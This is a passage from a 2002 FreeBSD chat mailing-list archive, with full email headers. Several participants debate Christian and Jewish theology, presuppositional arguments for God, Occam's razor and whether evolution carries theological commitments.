sounds really pious, but in the end it leads to confusion, because then you get new cults forming from every new crack-pot interpretation that comes along. Proper biblical interpretation takes rigourous study, and like anything else in life, we rely on scholarship to help us along. > Ok, now responding to this. I'm familiar enough with the passage. The > entire chapter has a theme which is consistently misinterpreted to > mean that "all are sinners". It is a negativity pointed to by many > other religions as "why Christianity is self-destructive". After all, > if you can never be a non-sinner, then what's the use in not sinning? I would point out that what you deem to be a misinterpretation is actually supported by the context. Think of who this letter was written to, the Christians in Rome, probably a house church, and, being in a gentile city, probably was composed of a mixture of Christians from both jewish and gentile extraction. Paul has argued in the previous two chapters that neither jew nor gentile has any excuse for their wickedness, the jew having the law which came down through the prophets, and the gentiles having the law which is written in the hearts of all men. This continues into chapter 3, until verse 9, where he says, "What then? Are we better than they? Not at all; for we have already charged that both Jews and Greeks are all under sin" Sounds pretty hard to misinterpret, doesn't it? It is at this point that Paul quotes several old testament passages to bolster his argument. These include Psalm 14:1-3, 53:1-3, 5:9, and 140:3, among others. Not only is Paul attempting to show the wickedness of all men, he continues to pile up passage after passage to prove his point, until verse 19 when he can then say, "so that every mouth may be closed and all the world may become accountable to God." Your second objection was actually anticipated by Paul and answered back in verse 8. As to why we shouldn't sin, the answer is that it is wrong to sin. The fact that we are unable to not sin does not change that. This is the fallen state of man, and the reason he needs a savior. Were he able to stop sinning, no savior would be necessary. That is why Jesus said that a man who sins is a slave to sin. Sin is that powerful. > In fact, there's another meaning here, and that has to do with what > "righteousness" is and why it's useless to be in that state (I do it > above). It's not saying "you are a sinner" per se. It's explaining > the uselessness of righteous behavior. This behavior has to be > overcome as a stepping stone on the path to being one with the > universe. Here you are doing what in Biblical interpretation is called "eisogesis", reading into the text what you want to take out of it. It can only work given your presuppositions. If you take into account the context in which it is written, the eternal, perfect character of God which serves as our objective standard of righteousness, this interpretation does not do justice to what Paul is trying to communicate. > Zen masters merely try to shut off your brain for you, if you can do > that then righteous behavior will shut off at the same time. And you find this philosophically and ethically defensible? Without any standards of righteousness, there can be no non-excusable acts which you referred to earlier. > > I really think you are deceiving yourself if you think you are > > not also deeply entrenched in assumptions. > > I don't think that I am not deeply entrenched in assumptions, how > else could I be communicating here? ;) But, alas, even that is an > assumption. I'm not much impressed with skepticism. But since you admit that it is impossible to not have assumptions (I prefer the term "presuppositions"), haven't you ever considered that there may be a set of presuppositions which are in fact the correct presuppositions to hold? Such that, without them, you couldn't know anything else? > > Everybody has them, and they are very important. The trick is in > > adopting the *right* assumptions. > > Are you being righteous? ;) How do you know which assumptions are the > right ones? "For all have sinned, and come short of the glory of > God". I make no claim to being righteous. Were it not for God's grace, I would be in much the same situation as you. I don't even claim that my adoption of Christianity is anything I can boast in, for I did not save myself. I have a theological disagreement on this point with most of the Christians you've probably run into. I think it is fascinating that a non-Christian sees the irony in this that most evangelical Christians do not see. You can see here a glimpse of one of those paradigm shifts I referred to earlier. > > The question to be asked is what presuppositions are > > transcendentally necessary for experience to be meaningful at all. > > The reason that both of you are so difficult to argue with is that > > neither of you seem to think anything is meaningful. > > I'll admit, to me this is all a dream. Controlled folly this all is. On the other hand, you don't live that way. You live as though there is a distinction between dreaming and being awake. You get out of bed, go to work, pay the bills, etc. Your actions falsify what you say you believe. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 15:30: 8 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DD52C37B4E4 for ; Wed, 4 Sep 2002 15:30:02 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5406C43E3B for ; Wed, 4 Sep 2002 15:30:02 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84MU1Gd038179; Wed, 4 Sep 2002 15:30:01 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84MU1CW038176; Wed, 4 Sep 2002 15:30:01 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 15:30:01 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209041221.g84CL2183082@hokkshideh2.jetcafe.org> Message-ID: <20020904151639.H13440-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Dave Hayes wrote: > Neal E Westfall writes: > > On Fri, 30 Aug 2002, Dave Hayes wrote: > >> Terry Lambert writes: > >> > You may say some activity (e.g. killing another human being) is > >> > "not right". What you really mean is "it's unethical"; to borrow > >> > from Dave Hayes, you are actually saying that it would violate > >> > your internal code of conduct. What this actually means, however, > >> > is that you will not tolerate it in yourself, and so you will also > >> > not tolerate it in others. > >> > >> This is where we disagree. > >> > >> I claim you should not worry about what others do, your focus should > >> be on what YOU do, and that will maximize gain for you and (somewhat) > >> society. You appear to claim that we have to focus on what OTHERS do > >> and controlling them achieves more gain for you and society. > > > > But aren't you contradicting yourself? > > Hopefully. ;) This brings up an interesting question. Is it rational to attempt to argue with someone who denies rationality? The answer would seem to be no, but given my worldview pre-commitments, no purported irrationalist could ever make good on his claim to be an irrationalist! Being made in the image of God, he still has some remnants of his knowledge of God, and he could never live completely irrationally. As such, he is always accessible to the God who is there, should He decide to grant mercy to the miserable wretch. ;-) (Romans 9) Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 15:33:37 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7F05537B400 for ; Wed, 4 Sep 2002 15:33:35 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0529D43E3B for ; Wed, 4 Sep 2002 15:33:35 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84MXYGd038198; Wed, 4 Sep 2002 15:33:34 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84MXYdS038195; Wed, 4 Sep 2002 15:33:34 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 15:33:34 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209041224.g84COf183120@hokkshideh2.jetcafe.org> Message-ID: <20020904153037.L13440-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Dave Hayes wrote: > Neal E Westfall writes: > > Basically, its not that "God" cannot be rationally proven as much as > > the fact that without God, nothing could be proven at all. Hence, > > God is proven from the impossibility of the contrary. It is > > unreasonable to reject that which is the foundation for everything > > else. > > The fact that a proof either way is necessary, and takes precedence > over the obvious and observable, is how Mankind got -into- this mess in > the first place. ;) I never said that proof was *necessary*, at least not from a logical standpoint. But given that man is in intellectual darkness and attempts to "suppress the truth in unrighteousness" it becomes necessary to remove self-imposed stumbling blocks that prevent him from seeing the truth. ;-) Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 15:35:59 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BB38837B400 for ; Wed, 4 Sep 2002 15:35:57 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 438F043E4A for ; Wed, 4 Sep 2002 15:35:57 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84MZuGd038208; Wed, 4 Sep 2002 15:35:56 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84MZuAs038205; Wed, 4 Sep 2002 15:35:56 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 15:35:56 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209041232.g84CW6183182@hokkshideh2.jetcafe.org> Message-ID: <20020904153353.U13440-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Dave Hayes wrote: > > You guys are quite amusing to read! The only thing you can agree > > on is your anemic prejudices against theology. > > I used to be quite prejudiced against theology. Spirituality, however, > is something that taught me why theology exists the way it does. Now I > understand theology as a necessary "kindergarten" for many. > > > Guess what: Christianity accounts for this fact as well. > > I bet you the Buddhists, Muslims, and Scientologists, would hotly > debate this. Why should they bother? > Personally, I think you are all right and wrong at the same time. Yet you still eat when you get hungry. 8-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 15:41:48 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EE3BC37B400 for ; Wed, 4 Sep 2002 15:41:45 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 49EE043E42 for ; Wed, 4 Sep 2002 15:41:45 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84MfiGd038240; Wed, 4 Sep 2002 15:41:44 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84MfigK038237; Wed, 4 Sep 2002 15:41:44 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 15:41:44 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209041238.g84Ccm183246@hokkshideh2.jetcafe.org> Message-ID: <20020904153701.X13440-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Dave Hayes wrote: > >> The problem with analogies is that sometimes they prove too much. Have > >> you ever met the Programmer? > > There's a programmer? 8-). > > Yeah there is. Er, but you have to be able to stop the dream and look > behind the curtain to see the Being. ;) I would argue that its not necessary to look behind the curtain if it were impossible to be dreaming in the first place without the the existence of such a Being. 8-) > >> Yes, but this is all beside the point. It is purely descriptive. > >> To what ends *should* society be seeking? > > > > IMO? The advancement of human knowledge. > > Noble, but how do you know this isn't misguided? Sometimes it is, but then you would have to have some objective standards. 8-) > > Wise men learn more from fools than fools from the wise. > Nice! Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 15:44: 3 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B9B2437B400 for ; Wed, 4 Sep 2002 15:44:00 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id E80BF43E3B for ; Wed, 4 Sep 2002 15:43:59 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84MhxGd038246; Wed, 4 Sep 2002 15:43:59 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84MhxgP038243; Wed, 4 Sep 2002 15:43:59 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 15:43:58 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? In-Reply-To: <20020904085636.2fcba73c.yid@softhome.net> Message-ID: <20020904154209.D13440-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Joshua Lee wrote: > On Wed, 04 Sep 2002 04:12:53 -0700 > Terry Lambert wrote: > > > Joshua Lee wrote: > > > Terry Lambert wrote: > > > > I don't personally know if there is a God or not. > > > > > > > > Barring evidence one way or the other, the choice between any > > > > two competing hypothesis must be made on the basis of which of > > > > the two is simpler. > > > > > > Terry, William of Occam was a theist. ;-) > > > > My uncle, who is names on the patent for microwave ovens, still > > to this day refuses to have one in his house... your point is? > > That it's fairly odd to quote a Franciscan Friar in favor of atheism, > albeit one that rejected the utility of Medieval scholastic proofs in > favor of revelation. It's because if you supply your own definition of "simple", Occam's razor can be used to prove anything. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 20: 9:22 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D907037B400 for ; Wed, 4 Sep 2002 20:09:19 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id 45D3E43E4A for ; Wed, 4 Sep 2002 20:09:19 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 13702 invoked by uid 417); 5 Sep 2002 03:09:13 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 5 Sep 2002 03:09:13 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Wed, 04 Sep 2002 21:09:10 -0600 Date: Wed, 4 Sep 2002 23:08:08 -0400 From: Joshua Lee To: "Neal E. Westfall" Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020904230808.4c76a744.yid@softhome.net> In-Reply-To: <20020904154209.D13440-100000@Tolstoy.home.lan> References: <20020904085636.2fcba73c.yid@softhome.net> <20020904154209.D13440-100000@Tolstoy.home.lan> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002 15:43:58 -0700 (PDT) "Neal E. Westfall" wrote: > > > > Terry, William of Occam was a theist. ;-) > > > > > > My uncle, who is names on the patent for microwave ovens, still > > > to this day refuses to have one in his house... your point is? > > > > That it's fairly odd to quote a Franciscan Friar in favor of > > atheism, albeit one that rejected the utility of Medieval scholastic > > proofs in favor of revelation. > > It's because if you supply your own definition of "simple", Occam's > razor can be used to prove anything. No, it cannot be used to prove *anything*; only that which may be reduced to definitions and terms consistent with simplicity and complexity, with the former affirmed and the latter rejected. That having been said, it was a fairly strong early argument against medieval scholasticism. (The only answer the Catholic church seemed to have for it and other arguments against scholasticism was to declare Thomism sacrosanct; until Vatican II partially reversed this position.) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 20:25:56 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E660A37B400 for ; Wed, 4 Sep 2002 20:25:51 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id 6663E43E4A for ; Wed, 4 Sep 2002 20:25:51 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 24666 invoked by uid 417); 5 Sep 2002 03:25:51 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 5 Sep 2002 03:25:51 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Wed, 04 Sep 2002 21:25:47 -0600 Date: Wed, 4 Sep 2002 23:24:46 -0400 From: Joshua Lee To: "Neal E. Westfall" Cc: dave@jetcafe.org, tlambert2@mindspring.com, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020904232446.0b55b1d5.yid@softhome.net> In-Reply-To: <20020904082510.X88455-100000@Tolstoy.home.lan> References: <20020903211527.1a0655b6.yid@softhome.net> <20020904082510.X88455-100000@Tolstoy.home.lan> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002 08:41:15 -0700 (PDT) "Neal E. Westfall" wrote: > > > naturalism as a viable worldview. In fact, if naturalism is false > > > its opposite, supernaturalism must be true. > > > > > > Moreover, not just any supernaturalism will do. It must provide > > > the preconditions for rationality, ethics, science, human dignity, > > > freedom, intellectual disagreements, etc. > > > > Exactly. Judaism. What, that wasn't the religion you had in mind? > > ;-) > > Which is why I said that not just any supernaturalism will do. Old > Testament Judaism is an aborted version of Christianity. Funny, I don't think the "OT" seemed to indicate that one is supposed to junk it at some point in the future in favor of worshiping the messiah. > It is alsod > no longer practiced today. If you were to propose what we now call > Orthodox Judaism, I would have some very pointed questions regarding > specific practices that occurred in the Old Testament. Orthodox > Judaism repudiates the need for blood atonement and redemption, which > means man can never know if he is in a right relationship with God. Orthodox Judaism does not repudiate the superiority of the Temple as a vehicle for inner repentance; we (I am an Orthodox Jew) pray every day for the Temple's restoration because of that. However, we do repudiate the idea that this is the only method of repentance or that it conveys repentance in some sort of automated fashion; may I suggest that you read Isaiah chapter I, Samuels after-death speach to King Saul ("obedience not sacrifices"), Hoseah's "sacrifices of the lips", and many other passages in the prophets against that view. > Moreover, whether or not you agree that the particular religion I > propose is the One True Way, My religion is not the One True Way for non-Jews. (Hence the wink.) The righteous of the gentiles have a portion in the World to Come. I have no inepitus for forcing my beliefs down other's throats; such as the belief that god will torture for eternity anyone that isn't my religion. > naturalism is still refuted, so the > objection you raise really doesn't help you much as a naturalist. Well, I'm not a naturalist I suppose; or even an evolutionist, but that doesn't mean that I go on a crusade in a FreeBSD forum because messages have "evolution" in the subject line. If I was to take this sort of thing so millitantly I wouldn't be using an OS with a daemon as a logo. > If you would like to seriously propose some other religion, we can > talk about that. I'd prefer not to. Been there, done that, got the t-shirt. > > The problem with these sorts of philosophical conjectures is that > > if, despite Kant's objections, they could be proven; they rarely > > prove any particular religion's cogence. > > A particular religion's cogence must be analyzed from an internal > perspective for coherence. Tertullian was at least honest when he said "credo quia absurdum est". > > Somehow I knew that since the subject line contained the word > > "evolution" that the missionaries would come out of the woodwork. > > Or as Terry would put it, it is an "emergent" property. 8-) If you admit without any intelectual shame that you react in such a fashion to the word "evolution" I won't argue. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 20:45:38 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 70CE437B400 for ; Wed, 4 Sep 2002 20:45:36 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id CA0E143E3B for ; Wed, 4 Sep 2002 20:45:35 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 15888 invoked by uid 417); 5 Sep 2002 03:45:30 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 5 Sep 2002 03:45:30 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Wed, 04 Sep 2002 21:45:27 -0600 Date: Wed, 4 Sep 2002 23:44:25 -0400 From: Joshua Lee To: "Neal E. Westfall" Cc: tlambert2@mindspring.com, dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020904234425.669b500a.yid@softhome.net> In-Reply-To: <20020904120659.L88455-100000@Tolstoy.home.lan> References: <20020904021149.10d2e0f4.yid@softhome.net> <20020904120659.L88455-100000@Tolstoy.home.lan> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002 12:14:08 -0700 (PDT) "Neal E. Westfall" wrote: > > > "Neal E. Westfall" wrote: > > > > You guys are quite amusing to read! The only thing you can > > > > agree on is your anemic prejudices against theology. > > > > Actually, we weren't talking much about theology until you took > > offense at the subject line. > > You misunderstand, sir. No offense taken. Just a friendly little > conversation. Evolution has certain implied theological committments, > however, so it seemed appropriate to "seize the moment", if you will. Tellihard De Chardin seems to do a good job at being a theist of your stripe and accepting the theory of evolution at the same time; somewhat earlier, Chief Rabbi Abraham Isaac Kook seemed to incorporate evolution and other "heretical" ideas into his unique theological reconcilliation of modern thought and Orthodoxy. Again, as an Orthodox Jew, I'm not an "evolutionist", but I think it's somewhat dishonest to label a scientific theory as a religion. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 20:58: 9 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5E04E37B409 for ; Wed, 4 Sep 2002 20:58:00 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id CB0B543E6E for ; Wed, 4 Sep 2002 20:57:59 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g853vxGd039165; Wed, 4 Sep 2002 20:57:59 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g853vw0r039162; Wed, 4 Sep 2002 20:57:58 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 20:57:58 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? In-Reply-To: <20020904230808.4c76a744.yid@softhome.net> Message-ID: <20020904205445.C38687-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Joshua Lee wrote: > > It's because if you supply your own definition of "simple", Occam's > > razor can be used to prove anything. > > No, it cannot be used to prove *anything*; only that which may be > reduced to definitions and terms consistent with simplicity and > complexity, with the former affirmed and the latter rejected. That > having been said, it was a fairly strong early argument against medieval > scholasticism. (The only answer the Catholic church seemed to have for > it and other arguments against scholasticism was to declare Thomism > sacrosanct; until Vatican II partially reversed this position.) Allow me to give a demonstration of what I am talking about. A naturalist would insist that "natural" explanations are the simplist, no matter how complex the details. On the other hand, a supernaturalist would claim the exact opposite, although he cannot even begin to explain *how* God does the things that he does. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 21:58:55 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F046937B400 for ; Wed, 4 Sep 2002 21:58:51 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id 6821D43E3B for ; Wed, 4 Sep 2002 21:58:51 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 25275 invoked by uid 417); 5 Sep 2002 04:58:49 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 5 Sep 2002 04:58:49 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Wed, 04 Sep 2002 22:58:48 -0600 Date: Thu, 5 Sep 2002 00:57:47 -0400 From: Joshua Lee To: chat@freebsd.org Subject: Fw: Re: Why did evolution fail? Message-Id: <20020905005747.1f5964a2.yid@softhome.net> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002 20:57:58 -0700 (PDT) "Neal E. Westfall" wrote: > > > It's because if you supply your own definition of "simple", > > > Occam's razor can be used to prove anything. > > > > No, it cannot be used to prove *anything*; only that which may be > > reduced to definitions and terms consistent with simplicity and > > complexity, with the former affirmed and the latter rejected. That > > A naturalist would insist that "natural" explanations are > the simplist, no matter how complex the details. On the Occam's razor is being used here to refute the cosmological argument; you're distorting things with this strawman. > other hand, a supernaturalist would claim the exact opposite, > although he cannot even begin to explain *how* God does the > things that he does. Actually, the simplist theological argument is that G-d is one; a trinity is not the most simple theological position. That being said I am not inclined to prove my religion with philosophical arguments because, following the Breslover Rebbe, I believe that philosophy provides unanswerable questions from the part of the universe that appears as a void devoid of the devine presence; hence all a religionist can do in the face of such modes of thought is offer weak answers that make his intellectual position and level of faith worse rather than better. (This is not a "blind faith" position, it's important to examine as far as possible everything with the intellect, which is a better guide to what's good than the seat of emotions; but a man has got to know his limitations. :-) ) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 21:58:59 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B3EA437B401 for ; Wed, 4 Sep 2002 21:58:55 -0700 (PDT) Received: from hawk.mail.pas.earthlink.net 